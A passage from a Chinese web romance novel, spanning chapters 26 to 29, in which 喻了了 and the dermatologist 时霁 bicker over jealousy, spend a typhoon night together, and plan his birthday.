他顺势低眸,看到自己松垮的领口,正以一种欲坠不坠的弧度,正面向她敞开…… 他直起身,恼羞成怒似的捏她脸颊:“喻了了,你真的没有因为耍流氓进去过吗!” 她也没有丝毫反抗,只一脸死而无憾的模样,又足足回味了半分钟,才失神地喃喃:“我好像有点知道‘牡丹花下死,做鬼也风流’,是种什么样的感觉了欸。” “……” 为了避免当场被气死,时霁转身又进了更衣室,直接无视还没试完的部分,换回自己的衣服就出去了。 临走之前,却还是得请“金主”示意:“要哪些?” 喻了了这会儿的心情好到就算把钱包掏空都无怨无悔的程度,于是便亲自挑出最后那一身,又指着前面试过的那些,大手一挥道:“这套、这套,还有这套,全部包起来!” 而后想到什么,又补充:“然后浅蓝色衬衫那身,再拿一套小一码的,也包起来。” 店员微笑应下:“好的。” “?” 时霁却面露疑惑,从边上掰过她的脸:“什么意思?” “啊……”喻了了仰着头解释:“就是那身,我感觉应该也挺适合叶泽洋的,他虽然是只……虽然不是什么好人,但毕竟也接送了我这么多天,就顺便带一套送给他嘛。” “……” 时霁简直无法想象,自己被玩了整整一个下午的成果,居然要被她拿去送给别的男人,还就这么明目张胆的? 他直接囊住她的脸,心态炸到没法形容:“喻了了,你什么癖好?” “让我跟他穿情侣装?” 甚至可能还不能叫情侣装。 从她的描述来看,那就是工服!接送并伺候她上下班的陪同的工服! “不是啊……” 喻了了当然没有这样想,一时又有点解释不清楚,但感觉他好像真的非常不爽,就还是换了个说法:“那要不然我给他换一套?不跟你穿一样的?” 呵。 又改个性化工服了? 然后就好好相处别打架是吧? 他都禁不住想问,你还敢再花心一点吗!当着我的面就敢这么搞?却又半天也想不到一个足以问出口的立场。 哦,本来是有的,只不过在昨天就被他亲口否决掉了而已…… 他顿时更加心梗,可默了半天,最后也只能沉声警告:“喻了了,要是被我抓到一次,你就死定了!” 她一脸迷茫,完全不懂他在说什么:“抓到什么?” “自己想!” 她眨着眼,十分无辜地问:“可是……你昨天不是还让我不要瞎想吗?” 时霁:“……” 感觉离被气死又近了一步呢。 第26章 第26章你今晚就住这儿吧? 喻了了白天刚夸完他人好,不到傍晚就又见识了下什么叫做变脸。 自打从服装店出来,时霁就全然没什么好脸色,晚饭一过,也不管她怎么抗议,直接就把人送回家了。 喻了了觉得他还挺奇怪的,每次感觉应该要生气的时候,他从来都没什么情绪,可感觉还蛮安全的时候,却又总是会莫名其妙把他惹毛。 问他为什么又不说,让她自己猜又不准,最后只能苦哈哈地在微信里敲门,却还是好说歹说都没什么用。 搞得她第二天上班都有点心不在焉,稍微有点空档,就要发几个表情包过去试探一下,就这么一直哄到下午,才确认隔着网线估计是没什么希望了,便只能抓紧时间把活干完,想着还是等晚上见面的时候再说。 但因为上午耽误了点儿进度,就算下午有在抓紧时间补救,到最后赶完一个节点下班时,也已经过了22点好一会儿了。 她加快速度下楼,操作着轮椅从电梯厅里出来时,他正靠坐在大堂的沙发上,面前放着一杯不太像是他的咖啡,边上还有个装扮时髦的女人,波纹长发拢到一旁,笑容款款地侧身坐着,一副相谈甚欢的样子,不知正和他聊些什么。 喻了了愣了愣,差点就直接从轮椅上站起来了,还是时霁忽然瞥过一眼,她才老实地重新坐好,然后操纵轮椅凑近。 时霁顺势起身,绕到身后搭着轮椅的把手,还没等推着人离开,Flora就也跟着站起来,明晃晃地将喻了了审视了一圈,而后颇有些意味深长地对他说:“原来,你等的人就是她呀……” 声音妩媚又温婉,像有意要提醒什么,又不太方便开口,喻了了不知道她想表达什么,却还是能感觉出这种语气并非友善:“有什么不对吗?” “啊……”她这才像是意识到说错话了,又自然开笑:“没什么,只是、稍微有点儿意外罢了。” 老实说,喻了了并不擅长和这种绵里藏针的人打交道,因为琢磨不透对方的深意,所以也无法给出相对的回应。 时霁倒是要得心应手一些,却也只像是没听到这番对话,稍稍向前施了点儿力,直接无视着人往外走去。 等回到车里,喻了了才警觉地侧过身问:“她跟你说了什么?” 都是同家公司的,Flora会出现在大堂也没什么好奇怪的,看时霁的样子跟她也并不认识,所以在自己下楼之前,两个人又有什么好聊的呢? 时霁挂好挡,见她还直愣愣坐着,便倾身替她扯过安全带,扣好之后才说:“有 过节?” “没有啊。”喻了了老实说:“都不是一个部门的,能有什么过节。” “那你紧张什么?”他抬眸。 “当然是怕她跟你要联系方式啊!”她一脸认真,毫不避讳地说:“你不觉得她刚刚看你那个眼神就很有问题吗?” 时霁愣了一下,像是有点意外她在对方强烈的敌意中抓住的重点,居然可以偏成这样,不自觉便笑了起来,又故意说:“有吗。” “有啊!”喻了了丝毫不觉,非常肯定地答完,又有点不知道该怎么解释那种眼神就是对他感兴趣的意思,只是一副很担心自家的白菜被人拱了的样子:“所以她到底有没有要?” 时霁回身,启动车子说:“没。” “没有吗?”喻了了狐疑地看着他,明显有点不信:“你不会是骗我吧?” “……” 他刚驶进主路,就又气笑着回过头来,也不知道她这难得的防备心都哪来防自己了又是什么毛病:“你以为谁都跟你似的,上来就要微信?” 但凡段位高点,都不可能在还没有把握的时候就亮出底牌好吗。 喻了了噎了一下,又不甘示弱:“我那是诚实!” 说着又郑重强调:“反正你不准给,就算她要了也不准给。”想了想又补充:“其她人要也不可以!” 时霁看着她颇有些霸道的模样,不觉扬了扬眉。 虽然是有点儿受用,但想到她自己花得都快要脱缰了,约束他的时候倒是一把好手,就还是不太想直接顺她的意,故意默不作声,一副还挺为难的样子。 喻了了果然立刻就警觉起来:“你干嘛不说话?不会是也对她有意思吧!” 这就真的是无语了:“……没。” 她松了口气,凑过去扒拉他的衣摆:“那就别加?” 他又拖着声调,不置可否。 “啊……”她的手指开始不安分,隐隐探到他的腰腹:“别加嘛。” “喻了了,我开车呢!”他伸手抓住。 “你说不加我就松手。” “看情况。” “不是看情况,是不加!” “……”时霁再度气笑,甚至都有点想问她这么理直气壮给自己提要求的心得,以及她能不能用这个标准也约束一下自己? 车子正高速行驶着,未免多生事端,他到底还是妥协:“不加。” 她遵守承诺,满意的松了手:“嘿嘿。” …… 话题揭过,喻了了本以为事情也会就此结束,却没想到之后的几天晚上,Flora也总会有意无意地出现在大堂,好像没事做一样,还不早不晚就在她下班前的那段时间。 她最后一次下楼时,两人好像还聊得有点投入,一时都没注意到从电梯厅里出来的身影,她便刚好听到Flora略有些难以启齿地模样,委婉告知:“或许你应该知道,每天早上送她过来的,其实是另一个男人。” “哦……”Flora又像是刚想起来,惊讶地掩唇补充:“好像前段时间的,又是另外一个。” 时霁也像是刚了解到这种情况,有些黯然地苦笑了下,连受伤的表情都表露的刚刚好,半天才压住情绪似的,强撑着开口说:“没事,我都能接受。” “……”七个字,把Flora未尽的话彻底堵死。 他说完,也懒得再做周旋,偏头便见喻了了已经来到大堂,神情这才有了点变化,却也很快恢复,上前几步推着人离开。 可直到回到车里,喻了了都还是懵的:“她为什么要跟你告状啊?” 想不通的同时,还有点惊疑不定,心想要不是他知道那两个人就是叶泽洋和高扬,自己这波岂不是要直接玩完? 但是为什么啊?自己好像也没惹过她啊? 时霁被问得有点无奈:“还说没过节?” “就是没有啊。” 喻了了认真回忆了下,还是很肯定:“虽然我以前也在她那个部门待过,但没多久就走了,公司又那么大,之后几年也就偶尔碰到过几次,根本就没什么交集啊……” 这么理完之后,她更加确定了一点:“太过分了!就算她对你感兴趣,也没有必要这样污蔑我吧!” 时霁却也很肯定,自己应该还没有这么大的魅力,就算对方似乎是对他有些兴趣,但她对喻了了的敌意显然也不是假的。 可这个中缘由连喻了了自己都说不清楚,他也就只能提醒:“你自己也留点心,没事离她远点儿。” “我又不怕。”喻了了非常自信,就算是伤了条腿,她也绝对没可能打得过自己,反而是:“你才应该要离她远点吧!” 她忽地拧眉,越想越对:“她最近连活儿都不干了,天天就在楼下蹲你,企图也太明显了吧?要不你明天还是别进来了,躲着点儿她,就在车里等我好了!” 时霁:“……” 还躲着点儿?真把他当情人了是吧? 想到叶泽洋应该没有被这样要求,他更不爽了:“你怎么不干脆让我别来算了?” “也可以啊。” “……?” 本来他刚开始要接自己的时候,她还挺开心的,想着不仅能每天见面,下班之后说不定还能做点儿什么。 但这几天经历下来才发现,自己下班就已经10点多了,被送到家时差不多是11点,他再自己回去收拾一下,满打满算也要凌晨了,然后第二天还得早起上班,根本就没办法多待,虽然这中间是见了会儿面,但为了这一会儿把他搞得很辛苦,她其实也有点不太愿意。 所以如果他直接就不过来了,她是真的一点意见也没有。 可等她很认真的告知完原因,他却又像没听到似的,一声不吭地回过头去,然后第二天照常出勤,就近停车后待在车里等她。 之后喻了了还劝过几次,他也都是一样置若罔闻,她也只能就此作罢,并祈祷自己的腿可以早点好。 就这么过了一段时间,气象预报忽然说第22号台风正高速往H市偏移,暴雨一连下了几天,整座城市都因此变得潮湿,老城区排水功能不够完善,好几条街道的低层都被雨水淹没。 因为雨势太大,台风正式登陆那天,风力反而没有预报的强烈,但是相应的,路面状况愈发严峻,新闻里总有停车场溃堤的播报,大批车辆被淹,就此报废的不计其数。 中寰大楼在高新区,情况相对好些,但因为这番现象,大家还是尽量都把车停在路面上,以至原本宽阔通畅的道路,骤变得紧凑又混乱。 喻了了早两天又提了一次,让他至少在此期间不要再过来了,可这天下楼时他却还是照例出现,并久违地拎着只伞站立在大堂。 外面暴雨如注,把世界都淋成虚影,她看着灰暗背景里唯一清晰的轮廓,一时有些愣怔。 恍神的功夫,他便近身将她抱起,又把轮椅寄放在收发室后,才打开伞面让她撑着,而后阔步走进雨幕,片刻后稳当地将人安放在副驾。 自己坐进来时,却已淋至半湿。 他将车子驶离混乱的路面,却因为途径的部分路段早已被淹,又绕了小半座城市,快要凌晨才抵达松林苑。 老小区没有地下停车场,小区内部的车位连自家业主都不够停,他便又抱着人风雨中往家里走。 伞面很大,喻了了被抱着的身位很高,一路回来都没怎么淋到,可等她被抱回屋内,在沙发上放好时,他却还是第一时间去查看她的状况。 确认没被淋到后才直起身,走前还不忘叮嘱:“雨这么大,寒气还是有,冲个热水澡就早点睡,别等我了。” 现在已经是凌晨12点,预报说夜里的降水量还会增加,城市排水工作仍然严峻,建议大家非必要不出行。 所以这会儿,喻了了看着他几乎浸透的身影,下意识扯住他衣摆时,也是真的没有私心:“要不然,你今晚就住这儿吧?” 第2 7章 第27章 负责。 瓢泼夜雨和着猛烈飓风,一下下拍打着屋檐与外壁,把整个楼层都晃得有些摇摇欲坠。 喻了了呆坐在沙发,却好像只能接收到浴室里若有似无的水流似的,因为不那么真切,反而听得更加认真。 虽然从他第一次送自己回来那天,她就已经为要招待他做过准备,但其实在之后的半个多月里,他每每也只是把自己送到门口,就很有分寸的自行离开。 所以这还是他第一次真正来到家里,自己就提出要让他留宿…… 嗯…… 虽然她提的时候还挺正经的,但既然都留下来了,一会儿要是发生些不那么正经的事,其实也不是不可以…… 胡思乱想中,浴室门从内打开。 她本就落在门前的视线赫然收入一道惹眼的轻薄身影,穿着身略有些小的深色丝质睡衣,被打湿过的发梢还渗着水,热气氤氲着的五官有些柔和,浅色瞳孔在夜色的烘托下,更有种难言的迷情意味,因着没戴眼镜,就这么对着她,微微眯缝了下…… 喻了了神情呆定,不自觉便吞咽了下,让人想不知道她又在浮想联翩些什么都有点难。 时霁叹了口气,满脸无奈道:“先去洗,要看一会儿再看行不?” “……哦。”喻了了扑簌着眼,半天才理解了这句话似的,又愣了会儿,才红着脸站起来,往浴室走的一点路都要一步三回头,生怕他趁自己不注意就要进屋锁门似的,关门前还强调了句:“要等我哦,马上就好!” 如此坦荡的女流氓,时霁也是平生仅见。 大概是知道躲不过去了,他倒也躺得心安理得,好笑地应了声“嗯”后,就拎着湿衣服去阳台处理,而后又进客厅,在茶几上看到把吹风机,差不多要吹干的时候,浴室门也哗的一声再次打开。 喻了了穿了件及膝的吊带睡裙,看样子像新买的,棉质的料子也不透明,单看其实和平时外穿的连衣裙没多少差别,唯一不妥的是肩上的挂带,除睡衣本身之外,边上还有一条黑色的细带,在白皙优越的肩颈线条上异常醒目。 以至于人凑过来的时候,时霁下意识便侧了眸,吹着已经干透的发梢说:“不冷吗?” “不会呀。”喻了了毫无所觉:“只是下了点雨,又没怎么降温。”就H市的气候,她以往都是快到12月才会去换件长袖。 时霁却还是很谨慎:“再去披件吧,别感冒了。” “哦。” 虽然还是觉得没必要,但他都这么说了,她便也还算听话,又进屋扯了件针织衫,穿好之后又蹦回来,求表扬似的问:“这样可以吗?” 时霁轻笑了下,放下吹风机说:“如果你现在就回去睡的话,其实不这样也行。” “啊……”喻了了的听话荡然无存:“可是你刚刚还说洗完澡就让我看的啊!” 时霁身体敞开了些,又略微侧了点身,偏向她坐着,一副已经将自己大喇喇摆在她面前的模样说:“你还想怎么看?” “……” 喻了了还当真从上往下看去。 这身睡衣是她之前买给老喻的,但还没来得及穿他就又出公差去了,自己的审美肯定没有问题,就是不知道当初怎么想的,居然买的这么保守!这会儿被他穿在身上,除了衣裤腿稍短了点儿之外,根本就没有什么露肤度! 早知道刚刚给他拿睡衣的时候就不拿衣服了,不对,是应该直接就说没有!反正他游泳的时候不也是那样穿的。但拿都拿了,现在要是全部给他扒掉,他会不会直接就打电话报警?如果自己被抓,以她和老喻微薄的父女情,他又会不会想办法把自己捞出来…… 她的思绪飘了一圈,终于发现希望非常渺茫,却还是不大甘心就这样放弃,于是又从下往上看去,一脸乖巧地对上他已经有点防备的目光,眨了眨眼,试图用真诚打动他:“我想怎么看就能怎么看吗?” 时霁好像她肚子里的蛔虫,直接摸出手机:“我要报警。” “啊——”喻了了赶忙抱住他的手:“我错了,不看了不看了!” 时霁扬了扬眉,这才作罢。 可等他真的放下手机,她却又开始不爽起来,傲娇地哼了一声,才不情不愿地问:“那我们现在要干嘛?” 他看了眼时间:“不困?” 喻了了坚定摇头:“不啊。” 他眯缝着眼,眸色忽然又变得危险,淡声警示说:“一点了。” 喻了了噎了一下,很快又开始狡辩:“那……那我平时都有早睡啊,今天不一样嘛,而且明天是周六,也不用早起啊。” 天地良心,自从确诊脱发被要求得早睡之后,她几乎每天晚上回来都是第一时间去收拾,然后直接就爬上床,连手机都没怎么玩,跟他说完晚安就真的睡觉了,也就今天,因为想跟他多待一会儿,稍微晚点睡也没什么吧? 她思绪一顿,忽然想到什么,又回过头来:“你困了吗?” 时霁滞了一下,目光扫向它处:“也……还行。” 喻了了盯着他看了会儿,确认没什么倦意之后,很快又高兴起来:“那我们看会儿电视吧?等困了就去睡!” 说着就拿起遥控器,一打开,屏幕就自动开始播放一档近期热门的肥皂剧,入目便是女主被摁在墙上壁咚的狗血桥段。 她立马操纵遥控跳转开,假装之前看这种剧的人并不是她,很快又切近一部悬疑剧的介绍页,好像自己原本的品味就是这样似的,面不改色地问他:“看这个可以吗?” 时霁无声低笑,也没拆穿:“嗯。” 喻了了便放下遥控,笑着靠进沙发背上,和他并肩看向屏幕。 客厅灯光被调至最暗,把电影的质感凸显出来,画面从一个幽静安稳的小镇切入,但从开头就低缓诡异的声效,却已然预示着将会有不平凡的事情发生。 没过多久,镜头就跳转至受害者被追杀的场面,在大雨天里一路奔跑呼救,跌倒好几次又爬起来,最后却还是残忍地死在刀刃之下,而暗夜里披着黑色雨衣的凶手却迟迟没有露面…… 喻了了是个十足的视觉动物,很容易就会被各种画面吸引注意,这会儿认真盯着电视的时候,早已忘记边上还有一个她刚刚才垂涎过的美好**,只把他当抱枕似的,不知觉地挨蹭过去。 时而抓着他的手臂跟着紧张,时而抵在他的肩膀开始沉思。 外面雷雨交加,忽闪的光电劈进室内,在暗调的空间里,点亮一张认真的脸孔,杏眼圆睁,唇瓣翕张,身上有沐浴后的清香,长发挽在耳后,随着她细微的动作,时不时飘进他紧绷的肩胛。 他喉结微滚,不觉涌起些燥意,偏头轻吁了口气,喻了了这才察觉身旁的人似有些僵硬,不由喊他:“时霁。” 他回过头来,声线滞涩:“……嗯。” 她看着他问:“你害怕吗?” 他低眸,拢住一汪澄澈的碧波,哑声应她:“有点儿。” “那要不换一部?”她坐直了些。 他默了下,又有点贪心的,不想让这种时刻就这么逝去:“已经看一半了。” 她眨着眼琢磨了下,搭在他小臂的手便轻缓下滑,顺势钻进他温热的掌心,又翻过来,十指交扣道:“这样会好一点吗?” 他的身形更僵了,嘴上却说:“……嗯。” 喻了了便又攥紧了些,另只手也搭住他的手背,连同小臂一起抱在怀里,一副“有她在肯定没事”的架势,嘿的一声又转向屏幕。 他也当真是吓到不敢乱动似的,就这么静默地靠坐着,大脑一时有些空白,不论是室外风雨,还是室内声效,全都都难以入耳。 一直到半边身体都有些麻痹,才忽觉右肩一沉,虚靠着他的脑袋彻底陷进肩颈,抱着他手臂的力道也渐渐趋近于无。 她睡着的模样异常乖顺,从他的角度看去,清晰可见额间一点绒毛,原生的 眉形如画般柔和,浓睫微卷,两颊饱满的苹果肌,会随着唇瓣翕张微微鼓动。 这副纯净稚嫩的轮廓,和那连撒娇都像是在耍赖的神态,比起少女,或许用小孩儿来形容要更贴切些。 他就这么安静地看着,忽然便有种把自己小孩儿哄睡的体验,不觉扬了点唇角,等到她的呼吸更平缓些,才小心抽动手臂,轻缓绕到身后将人抱起,把人放到床上的前一刻,她突然又半掀起眼皮咕哝了下:“……时霁。” “嗯?”他半俯着身,右手还枕在她颈后,一时有点不敢动作。 房间没开灯,视野里只有客厅电视机匀来的一点微光,却已足够恰到好处地描摹这张近在咫尺的轮廓,除他之外,世界一片灰暗,耳畔隐约有呼啸的风雨,让她恍然梦回夜里的公司大堂,疾步走来时兜头拢住自己的身影,分明裹着寒气,却一路熨烫地她连梦都是暖的。 她半闭着眼睛笑起来,不觉抱住他的脖颈,脸颊轻蹭着他的手臂喃喃:“我真的……好喜欢你啊。” 距离一时近到连鼻息都无所遁形,他屏着呼吸,心跳被这突如其来的告白扑得有些失真,却仍禁不住想同她确认:“……多喜欢。” 她睡意朦胧,思绪早已无从过脑,接收到这句话的时候,双手便本能地施力下拉,将人抱到跟前仰头亲了一下,并就着这个距离,凑到他耳旁说:“这么喜欢。” “……”他陡然瞠目,身体分明是有些僵的,可鼻畔的馨香,脸颊的柔软与耳边的呢喃,却如同一味噬骨的迷药,从内里将他催化得靡乱不堪。 她却好像还有些得意,又轻轻蹭着他的脸,低靡却笃定地说:“你放心……我亲了你,就一定会对你负责的。” 他单手撑着床,不知缓了多久,才从份温软中微微抽离开些许,从上方看着面前已然陷入沉睡的人,声线低黯的像在自言自语:“喻了了。” “你得对我负两次责了。” 她眼睫扑簌,隔了一会儿,才低声应了句:“嗯。” 又拍了拍他的背,像要哄人睡觉,却自己先被困意席卷,仅剩的神经就只够最后抱他一下,保证似的,又亲着他的唇角哄:“几次都……”可以- 雨声好像真的有点助眠。 喻了了这晚睡得格外香甜,一连做了好几个美梦,尺度更是大到前所未有,唯一的不足,就是每次刚要发生点什么时,画面就会忽然中断。 连着几次之后,直接就把她气醒了! 她睁开眼睛,愤怒地盯着天花板看了一会,忽然回涌的记忆也有些混乱。 昨晚不是在客厅看电视吗?自己是什么时候进屋睡觉的?好像是有点被抱进来的印象,然后自己还亲了人,还扒了人衣服,还把人按在床上…… 她边想边回头看了眼空空如也的床。 最后总算确认。 完了。 意淫过度。 现在春梦都做得这么真实了…… 她遗憾地叹了口气,这才摸着手机坐起来,看着眼时间,才刚刚十点,属于吃早饭有点迟,吃午饭有点早的时间。 换平常她就不吃了,但想着今天时霁在,她就还是给在楼下开早餐店的小弟之一发了个消息,让人顺带把附近一圈的特色早点都打包点儿带上来后,又大方的付出去一笔小费。 然后起身开门,进洗手间洗漱完后,时霁应该是听到动静,也刚好从隔壁出来,晨醒的头发蓬松而凌乱,神情困倦,眼尾向下耷拉,像是一夜没睡的样子。 喻了了有点疑惑:“你是认床吗?” “……”时霁闻言掀起眼帘,淡淡的睨她,半晌也没从那双眼睛里看出什么后,终于摆烂似的回:“我认命。” “?” 撩完就跑。 自己倒是睡得挺香。 然后转头就给他玩失忆是吧? 他沉着脸,也不管她满头的问号,转身就去阳台取了衣服,又进洗手间收拾了下,出来时她正傻站在玄关,手里提着一堆冒着热气的早餐,一眼看过去起码有七八袋,挤得拐杖都没法拿。 喻了了正在先放一部分在地上和直接蹦进去之间踌躇,忽然见人从浴室出来,立刻便笑起来,然后平举手里的东西求助:“帮我拿一下叭。” “……” 时霁接过后绕回餐厅,一时有些无奈:“买这么多干嘛?” 喻了了抽开椅子,从中挑出一袋,边拆边说:“因为不知道你喜欢吃什么嘛,之前每次给你送的也都没吃,就多买几样试试看嘛。” “吃不完不浪费?”时霁说这话的时候自己都觉得有点神奇,向来还只有别人这么说他,这么反着来还真来破天荒头一回。 “不会呀。”喻了了摇了摇头:“剩下的拿去喂狗就可以了。”说不定还不够呢。 他愣了愣:“你家养狗?” “昂~”她点头:“养的。” “你试试这个,在楼下开了好多年,很好吃的!”说着就把取出来的小笼包推到他面前,见他还算配合的吃了一个后,又兴致勃勃地把剩下的包装都拆了,然后便托着下巴,仿佛在看吃播一样盯着他。 但他今天的确有点胃口不佳,不仅是挑食,还有一夜没睡好的原因,只稍微尝过一点之后,就真的有点吃不下了:“饱了。” “啊?”喻了了眨着眼,有点不敢相信:“就只吃这么点吗?” “没睡好。”他老实说:“有点反胃。” 她又盯着他看了会儿,确认是真的吃不下后才蔫下来:“好吧,那我等会儿拿去给……” 正说着,外边忽然就传来一阵敲门声。 两轻一重,她出来是谁后也就没没管,隔了两秒,叶泽洋便自行解锁密码,进屋时见餐厅多了个人,跟见鬼似的愣了会儿,左右环顾一圈,还是没忍住问:“……你被绑架了?” 这话显然不是对喻了了说的。 感觉他又要搞事情,她当即就有点震怒:“不会说话就不要说!” 叶泽洋耸了耸肩,而后走进餐厅,自然地拉了张椅子坐下,又分外稀奇地开始拆台:“今天居然还吃早餐,平时不都睡到……” 喻了了唰的一下就把早餐全往他面前推,堵嘴似的打断:“还不是专门给你这只……留的!吃还堵不住你的嘴!” “嘁。” 时霁贴靠椅背,微微眯缝着眼,看着他穿这件眼熟的蓝衬衫,半点不见外的拿起一个包子,一口下去,表情还有些惊喜:“居然还有豆角馅的。” 虽然逛街那天就已经料到这个结果,但看到真人上身,果然还是不一样。 身高尺码记这么清楚,适合什么风格也一眼就能确认。 听到敲门声就能辨认是谁,家门密码也毫无保留。 买早餐会带他的份,看样子也正和胃口。 这就是青梅竹马吧? 第28章 第28章归我啦! 他扬了扬眉,忽然出声:“喻了了。” “啊?”她回头。 “我又有点饿了。”他淡淡道。 喻了了愣了一下,反应过来后还挺开心的,立马又坐直了问:“那你还想吃什么?我给你拿!” “嗯……” 他抬眸望去,像有点拿不定主意,又像对每样都还挺感兴趣的。 喻了了见状,直接伸手把那一堆又扒拉回来,重新往他面前放好后说:“那你先吃,吃完再喂狗!” “……” 叶泽洋一口豆角包卡在喉咙里,一脸不敢相信道:“喻了了,你说谁是狗?” 喻了了狐疑地瞥他一眼,一脸“你又不是第一天做狗了干嘛还这么惊喜”的表情说:“不用我说你也是啊。” “……” 叶泽洋心想一天到晚让我做儿子孙子也就算了,现在居 然还要做狗子!好吧,虽然确实也不是第一天了,但现在还有外人在你就这样,我难道不要面子的吗? 他憋了半天,事实却还是打不过也说不过,但这饭肯定也是吃不下去了,最后只能愤然起身,破罐破摔道:“行,我是狗,那一会儿加班就让‘人’送你去吧!” 说着就恶狠狠咬下最后一口豆角包,头也不回地又摔门出去了。 喻了了见怪不怪,回过头来,又眼巴巴地把早餐往前推了点儿,然后认真看着时霁说:“不是饿了吗?快点吃吧。” “……” 一切如他所愿,可这会儿看着几乎原封未动七八个打包盒,他又禁不住有点想问,你还有其它狗吗……- 台风到了今天,已经有了明显的休止,虽然连带引发的洪涝灾害依然不容小觑,但公司周六加班这事儿本来就没有明文规定,一切全凭“自觉”,也就更不会有停工公告一说。 所以两人差不多是前脚刚吃完,后脚就得起身,马不停蹄的重新往外赶。 好在这样的天气没有持续太久,周末一过,也就彻底雨过天晴了。 叶泽洋那天虽然很有骨气的走了,但到了周一,就又跟没事人一样,照常出勤送她上班,等到了天黑,路边也依例会有另一辆车子在等。 这样的日子又过几天,到月底的时候,喻了了瘸了两个月的腿,也终于要正式宣告解放! 她一早就提交了调休申请,又特意约了当天上午最后一个号,然后安详睡到快要十点,才慢悠悠地收拾好往医院去。 刚在骨科把石膏拆完,门诊室就被敲开,时霁抽空过来了一趟,亲自和骨科医生交涉完,确认没问题并记下医嘱后,才像个操心过度的家长一样把人领走。 喻了了觉得他有点大惊小怪,刚出诊室就想蹦一下证明自己没事,结果刚蹦到一半就被拦腰截住,像个鸡崽一样被提溜着:“喻了了,你要还想打石膏就干脆别拆。” “……” 她立刻一副已老实的表情,蔫下来反省几秒,才讪讪拍他的手让人把自己放下来,站稳后又不记打地往前凑:“你是不是要下班了?” 他神色淡淡地往回走,明知她特意选这个点来是打得什么主意,偏又要问:“怎么。” “一起去吃饭呀!”她心情很好,像只粘人的小狗,紧跟着他说:“我好不容易才解放,不应该去庆祝一下吗?” 他眼尾轻掀:“只是为了庆祝?” “嘿。”她笑起来,讨乖的话张口就来:“也是想跟你一起吃饭嘛。” 他哂笑了下,也没搭理,只由着人在身边跟着,一路回到科里,换了身衣服后,才又领着人往外走,不多时便进了一家装饰浮夸的西式主题餐厅。 味道如何可能不好说,但要庆祝的话,氛围应该还可以。 喻了了却没关注这些,点完餐后就扒着桌沿,同他说起正事:“对了,我现在已经好了,那从今天开始你就不用再特地去接我啦!” 时霁理着餐巾的动作一滞,忽然就对她这副欣喜若狂的表情有点不太满意:“这么开心?” “也不是啦。”喻了了正色道:“主要是你每天送完我再回去就真的太晚了嘛,而且公司晚上打车是可以报销的啊,我都这么努力加班了,干嘛还要便宜公司辛苦你呀。” 其实这番话她之前就说过,也早就说好了只接送到腿伤好转为止,但事到临头,他不知为何就是有点不大乐意,甚至还生了点儿莫名其妙的攀比心:“那上班呢?” 喻了了愣了会儿,才意识到他问的是自己上班要怎么去:“就还是做地铁呀,方便快捷还不堵车!”不然难道还指望叶泽洋会继续送她吗? 他这才面色稍霁,不多时又想到什么,声线有些滞涩:“那你……之后还来医院吗?” “啊?”喻了了却有点懵:“来医院干嘛?” “刚刚骨科医生不是说已经没问题了吗?以后也不用再复查了呀。” “……” 时霁默了半天,心态大概就跟医院没法挂“欢迎再次光临”的标语差不多,想想却还是气不过:“脱发呢。” “哦……” 喻了了思考了下,很快又说:“也不去了吧。” 时霁:“?” 她摸了摸脑袋:“其实我感觉都好得差不多了欸,前几天你帮我看的时候,不是也说就正常继续用那个药就好了嘛,我就不过去再跟别的患者强号源了吧。” 时霁:“……” 行。 你有理。 他默不作声切开牛排,都打算吃完这顿就各奔东西了,对面却忽然又来了句:“但是我可以过去找你。” 他神情一滞,隔了一会儿,才绷着脸,满无所谓地回:“……找我干嘛。” “你不是快过生日了吗?” 喻了了看着他问:“11月6号,对不对?” “……嗯。”他喉结微滚,无端有点预感,她是不是要在这天做点儿什么。 “那你以前都是怎么过的呀?”她好奇道。 “不怎么过。”他随口答。 “啊……”她当他是在敷衍:“不怎么过是怎么过啊?” 他有点无语:“就是字面意思的,不怎么过。” 从二年级转学后,家里就再没给他过过生日,后来上大学离家、工作后独居,他自己一个人也不可能去折腾些什么,至多就是同事之间提前时,偶尔会象征性的被送个礼物什么的。 不夸张的说,如果她刚刚没有提起,他根本就不会意识到这个日子快要临近,也并会不觉得这天能有什么意义。 但当她扑闪着眼,一脸认真地问他:“那今年我帮你过,就我们两个人,好不好?”时,他又忽然有点期待,这一天将要被赋予的意义- 喻了了虽然是把活儿揽下来了,却也的确没有这方面的经验,甚至就连该怎么过?去哪里过?这些最基本的问题都没有丝毫灵感,就更别提是要制造什么惊喜了。 但她有足够强烈的热情! 只要他点头答应,她就能抽出十足的精力,上网搜,线下跑,又趁着周末出去转了一圈,最后的敲定的方案虽然也没有说很满意,但也总比他一个人孤零零的待在家里要强多了! 她连着忙活了几天,一度把自己都搞得有点热血,日子越临近就越是激动且神经质。 于是6号当天,猛不丁又起了个大早,到蛋糕房的时候店门都还没完全打开,她就一溜烟钻了进去,催着要之前订好的蛋糕和饮料。 走之前进微信和周晨说了一声,然后就直接把东西人肉背到了皮肤科办公室,又把提前切好的蛋糕逐个分发到大家的座位上,才很严肃地交代他说:“今天时霁生日,你们要庆祝的话就趁白天。” “天黑之后他就归我啦!” “知道了知道了。”周晨一连“啧”了好几声,没眼看的叼着块蛋糕就走了:“你慢慢分吧,我先去忙了。” 她摆摆手:“走吧走吧。” 这会儿医院已经开始运转,办公室里也就零零散散几个人。 喻了了把蛋糕分完,回头正准备走时,发现身后有个人正表情复杂的盯着自己看。 她一时有些莫名,扫了眼对方的胸牌后才问:“怎么了吗?程医生。” 程乐可闻着满室的蛋糕香,一时有点不知该怎么开口,半晌才隐晦地提了句:“你……在追时霁?” “对呀。”喻了了点头,半点不避讳地说:“有什么问题吗?” “……” 虽然上回在面馆见到,程乐可就已经知道她对时霁有意思,但这医院里每天人来人往的,对他有意思的人多了去了,最夸张的那次还被挂到网上给人肉了一波,所以她当时根本也就没过心,反正过段时间总得消停。 但现在想起来,距离她问时霁要微信那天,起码也已经过去两三个月了吧?居然还在追? 程乐可欲言又止,表情也一点点变得为难,过了许久,才艰难地打定主意,示意她跟自己出来一下,而后找了个僻静的角落,压低声音说明:“先说好,我没什么有恶意,只是想提醒一下。” “你有没想过,他那样的身材长相,事业履历,家里好像也有点背景,就这么优越的条件,为什么会到现在还是单身?” 第29章 第29章你傻不傻。 今日时霁值班,大早就进到病房开始工作,查房快结束时,余光 忽地瞥见门外一道鬼鬼祟祟的身影,唇角不觉扬了些许。 他照常检查完,又帮患者把衣物理好,而后交代:“今天再去做一次激光,卫生还是要多注意。” “好的,谢谢医生,我这个大概还有多久能出院?” “看护理情况,正常再三四天。” “那我中午可以吃点……” 喻了了扒着门框看两人交谈。 